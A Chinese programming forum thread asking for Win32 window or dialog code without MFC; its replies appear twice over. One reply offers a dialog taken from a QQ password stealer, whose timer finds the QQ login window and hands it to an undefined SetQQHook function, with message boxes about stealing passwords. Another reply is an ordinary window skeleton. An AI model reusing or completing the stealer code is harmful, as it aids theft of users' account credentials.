高手给个不使用mfc、不使用向导,在命令行程序中创建一个window或者dialog的代码,谢谢!!!

时间:2021-04-15 15:36:46
要求是不能使用MFC,不能使用VC的向导。
可以使用win32和ATL。

求助啊!!!

分不是很多,得了分马上给!!

3 个解决方案

#1


正在看的一个,你修改一下就可以了

#include <windows.h>
#include "resource.h"
#define ID_MYTIMER 555
BOOL g_bStart;
HWND g_hQQLogin;
LRESULT CALLBACK ProcMain(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
case WM_INITDIALOG:
{
int x, y;
            RECT rect;
g_bStart = FALSE;
            GetWindowRect(hDlg, &rect);
x = GetSystemMetrics(SM_CXSCREEN) - rect.right + rect.left;
y = GetSystemMetrics(SM_CYMAXIMIZED) - rect.bottom + rect.top - 10;
SetWindowPos(hDlg, HWND_TOPMOST, x, y, 0, 0, SWP_NOSIZE);
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDOK:
if(!g_bStart)
{
MessageBox(hDlg,"你在开始盗QQ密码了~:)","Good Luck",0);
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
g_bStart=TRUE;
}
else
{
MessageBox(hDlg,"你乱点毛呀?你已经开始了","晕啦",0);
}
break;
case IDCANCEL:
if(g_bStart)
{
KillTimer(hDlg, ID_MYTIMER);
MessageBox(hDlg,"你取消了盗QQ密码~:(","Why?",0);
SetQQHook(NULL);
g_bStart=FALSE;
}
else
{
MessageBox(hDlg,"你乱点毛呀?你还没有开始呢","晕啦",0);
}
}
}
break;
case WM_TIMER:
{
if (!IsWindow(g_hQQLogin))
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL);
do
{
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL);
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", "  登录QQ");
} while(g_hQQLogin != NULL && hLogin == NULL);

if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);
}
}
}
break;
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)ProcMain, 0);
  return 0;
}

#2


创建window的

#include   <windows.h>   
    
  /*     Declare   Windows   procedure     */   
  LRESULT   CALLBACK   WindowProcedure   (HWND,   UINT,   WPARAM,   LPARAM);   
    
  /*     Make   the   class   name   into   a   global   variable     */   
  char   szClassName[   ]   =   "WindowsApp";   
    
  int   WINAPI   WinMain   (HINSTANCE   hThisInstance,   
                                          HINSTANCE   hPrevInstance,   
                                          LPSTR   lpszArgument,   
                                          int   nFunsterStil)   
    
  {   
          HWND   hwnd;                               /*   This   is   the   handle   for   our   window   */   
          MSG   messages;                         /*   Here   messages   to   the   application   are   saved   */   
          WNDCLASSEX   wincl;                 /*   Data   structure   for   the   windowclass   */   
    
          /*   The   Window   structure   */   
          wincl.hInstance   =   hThisInstance;   
          wincl.lpszClassName   =   szClassName;   
          wincl.lpfnWndProc   =   WindowProcedure;             /*   This   function   is   called   by   windows   */   
          wincl.style   =   CS_DBLCLKS;                                   /*   Catch   double-clicks   */   
          wincl.cbSize   =   sizeof   (WNDCLASSEX);   
    
          /*   Use   default   icon   and   mouse-pointer   */   
          wincl.hIcon   =   LoadIcon   (NULL,   IDI_APPLICATION);   
          wincl.hIconSm   =   LoadIcon   (NULL,   IDI_APPLICATION);   
          wincl.hCursor   =   LoadCursor   (NULL,   IDC_ARROW);   
          wincl.lpszMenuName   =   NULL;                                   /*   No   menu   */   
          wincl.cbClsExtra   =   0;                                             /*   No   extra   bytes   after   the   window   class   */   
          wincl.cbWndExtra   =   0;                                             /*   structure   or   the   window   instance   */   
          /*   Use   Windows's   default   color   as   the   background   of   the   window   */   
          wincl.hbrBackground   =   (HBRUSH)   COLOR_BACKGROUND;   
    
          /*   Register   the   window   class,   and   if   it   fails   quit   the   program   */   
          if   (!RegisterClassEx   (&wincl))   
                  return   0;   
    
          /*   The   class   is   registered,   let's   create   the   program*/   
          hwnd   =   CreateWindowEx   (   
                        0,                                       /*   Extended   possibilites   for   variation   */   
                        szClassName,                   /*   Classname   */   
                        "Windows   App",               /*   Title   Text   */   
                        WS_OVERLAPPEDWINDOW,   /*   default   window   */   
                        CW_USEDEFAULT,               /*   Windows   decides   the   position   */   
                        CW_USEDEFAULT,               /*   where   the   window   ends   up   on   the   screen   */   
                        544,                                   /*   The   programs   width   */   
                        375,                                   /*   and   height   in   pixels   */   
                        HWND_DESKTOP,                 /*   The   window   is   a   child-window   to   desktop   */   
                        NULL,                                 /*   No   menu   */   
                        hThisInstance,               /*   Program   Instance   handler   */   
                        NULL                                   /*   No   Window   Creation   data   */   
                        );   
    
          /*   Make   the   window   visible   on   the   screen   */   
          ShowWindow   (hwnd,   nFunsterStil);   
    
          /*   Run   the   message   loop.   It   will   run   until   GetMessage()   returns   0   */   
          while   (GetMessage   (&messages,   NULL,   0,   0))   
          {   
                  /*   Translate   virtual-key   messages   into   character   messages   */   
                  TranslateMessage(&messages);   
                  /*   Send   message   to   WindowProcedure   */   
                  DispatchMessage(&messages);   
          }   
    
          /*   The   program   return-value   is   0   -   The   value   that   PostQuitMessage()   gave   */   
          return   messages.wParam;   
  }   
    
    
  /*     This   function   is   called   by   the   Windows   function   DispatchMessage()     */   
    
  LRESULT   CALLBACK   WindowProcedure   (HWND   hwnd,   UINT   message,   WPARAM   wParam,   LPARAM   lParam)   
  {   
          switch   (message)                                     /*   handle   the   messages   */   
          {   
                  case   WM_DESTROY:   
                          PostQuitMessage   (0);               /*   send   a   WM_QUIT   to   the   message   queue   */   
                          break;   
                  default:                                             /*   for   messages   that   we   don't   deal   with   */   
                          return   DefWindowProc   (hwnd,   message,   wParam,   lParam);   
          }   
    
          return   0;   
  }

#3


ATL有向导跟MFC差不多
win32就跟C语言一样编写就行了

#1


正在看的一个,你修改一下就可以了

#include <windows.h>
#include "resource.h"
#define ID_MYTIMER 555
BOOL g_bStart;
HWND g_hQQLogin;
LRESULT CALLBACK ProcMain(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
case WM_INITDIALOG:
{
int x, y;
            RECT rect;
g_bStart = FALSE;
            GetWindowRect(hDlg, &rect);
x = GetSystemMetrics(SM_CXSCREEN) - rect.right + rect.left;
y = GetSystemMetrics(SM_CYMAXIMIZED) - rect.bottom + rect.top - 10;
SetWindowPos(hDlg, HWND_TOPMOST, x, y, 0, 0, SWP_NOSIZE);
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDOK:
if(!g_bStart)
{
MessageBox(hDlg,"你在开始盗QQ密码了~:)","Good Luck",0);
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
g_bStart=TRUE;
}
else
{
MessageBox(hDlg,"你乱点毛呀?你已经开始了","晕啦",0);
}
break;
case IDCANCEL:
if(g_bStart)
{
KillTimer(hDlg, ID_MYTIMER);
MessageBox(hDlg,"你取消了盗QQ密码~:(","Why?",0);
SetQQHook(NULL);
g_bStart=FALSE;
}
else
{
MessageBox(hDlg,"你乱点毛呀?你还没有开始呢","晕啦",0);
}
}
}
break;
case WM_TIMER:
{
if (!IsWindow(g_hQQLogin))
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL);
do
{
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL);
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", "  登录QQ");
} while(g_hQQLogin != NULL && hLogin == NULL);

if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);
}
}
}
break;
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)ProcMain, 0);
  return 0;
}

#2


创建window的

#include   <windows.h>   
    
  /*     Declare   Windows   procedure     */   
  LRESULT   CALLBACK   WindowProcedure   (HWND,   UINT,   WPARAM,   LPARAM);   
    
  /*     Make   the   class   name   into   a   global   variable     */   
  char   szClassName[   ]   =   "WindowsApp";   
    
  int   WINAPI   WinMain   (HINSTANCE   hThisInstance,   
                                          HINSTANCE   hPrevInstance,   
                                          LPSTR   lpszArgument,   
                                          int   nFunsterStil)   
    
  {   
          HWND   hwnd;                               /*   This   is   the   handle   for   our   window   */   
          MSG   messages;                         /*   Here   messages   to   the   application   are   saved   */   
          WNDCLASSEX   wincl;                 /*   Data   structure   for   the   windowclass   */   
    
          /*   The   Window   structure   */   
          wincl.hInstance   =   hThisInstance;   
          wincl.lpszClassName   =   szClassName;   
          wincl.lpfnWndProc   =   WindowProcedure;             /*   This   function   is   called   by   windows   */   
          wincl.style   =   CS_DBLCLKS;                                   /*   Catch   double-clicks   */   
          wincl.cbSize   =   sizeof   (WNDCLASSEX);   
    
          /*   Use   default   icon   and   mouse-pointer   */   
          wincl.hIcon   =   LoadIcon   (NULL,   IDI_APPLICATION);   
          wincl.hIconSm   =   LoadIcon   (NULL,   IDI_APPLICATION);   
          wincl.hCursor   =   LoadCursor   (NULL,   IDC_ARROW);   
          wincl.lpszMenuName   =   NULL;                                   /*   No   menu   */   
          wincl.cbClsExtra   =   0;                                             /*   No   extra   bytes   after   the   window   class   */   
          wincl.cbWndExtra   =   0;                                             /*   structure   or   the   window   instance   */   
          /*   Use   Windows's   default   color   as   the   background   of   the   window   */   
          wincl.hbrBackground   =   (HBRUSH)   COLOR_BACKGROUND;   
    
          /*   Register   the   window   class,   and   if   it   fails   quit   the   program   */   
          if   (!RegisterClassEx   (&wincl))   
                  return   0;   
    
          /*   The   class   is   registered,   let's   create   the   program*/   
          hwnd   =   CreateWindowEx   (   
                        0,                                       /*   Extended   possibilites   for   variation   */   
                        szClassName,                   /*   Classname   */   
                        "Windows   App",               /*   Title   Text   */   
                        WS_OVERLAPPEDWINDOW,   /*   default   window   */   
                        CW_USEDEFAULT,               /*   Windows   decides   the   position   */   
                        CW_USEDEFAULT,               /*   where   the   window   ends   up   on   the   screen   */   
                        544,                                   /*   The   programs   width   */   
                        375,                                   /*   and   height   in   pixels   */   
                        HWND_DESKTOP,                 /*   The   window   is   a   child-window   to   desktop   */   
                        NULL,                                 /*   No   menu   */   
                        hThisInstance,               /*   Program   Instance   handler   */   
                        NULL                                   /*   No   Window   Creation   data   */   
                        );   
    
          /*   Make   the   window   visible   on   the   screen   */   
          ShowWindow   (hwnd,   nFunsterStil);   
    
          /*   Run   the   message   loop.   It   will   run   until   GetMessage()   returns   0   */   
          while   (GetMessage   (&messages,   NULL,   0,   0))   
          {   
                  /*   Translate   virtual-key   messages   into   character   messages   */   
                  TranslateMessage(&messages);   
                  /*   Send   message   to   WindowProcedure   */   
                  DispatchMessage(&messages);   
          }   
    
          /*   The   program   return-value   is   0   -   The   value   that   PostQuitMessage()   gave   */   
          return   messages.wParam;   
  }   
    
    
  /*     This   function   is   called   by   the   Windows   function   DispatchMessage()     */   
    
  LRESULT   CALLBACK   WindowProcedure   (HWND   hwnd,   UINT   message,   WPARAM   wParam,   LPARAM   lParam)   
  {   
          switch   (message)                                     /*   handle   the   messages   */   
          {   
                  case   WM_DESTROY:   
                          PostQuitMessage   (0);               /*   send   a   WM_QUIT   to   the   message   queue   */   
                          break;   
                  default:                                             /*   for   messages   that   we   don't   deal   with   */   
                          return   DefWindowProc   (hwnd,   message,   wParam,   lParam);   
          }   
    
          return   0;   
  }

#3


ATL有向导跟MFC差不多
win32就跟C语言一样编写就行了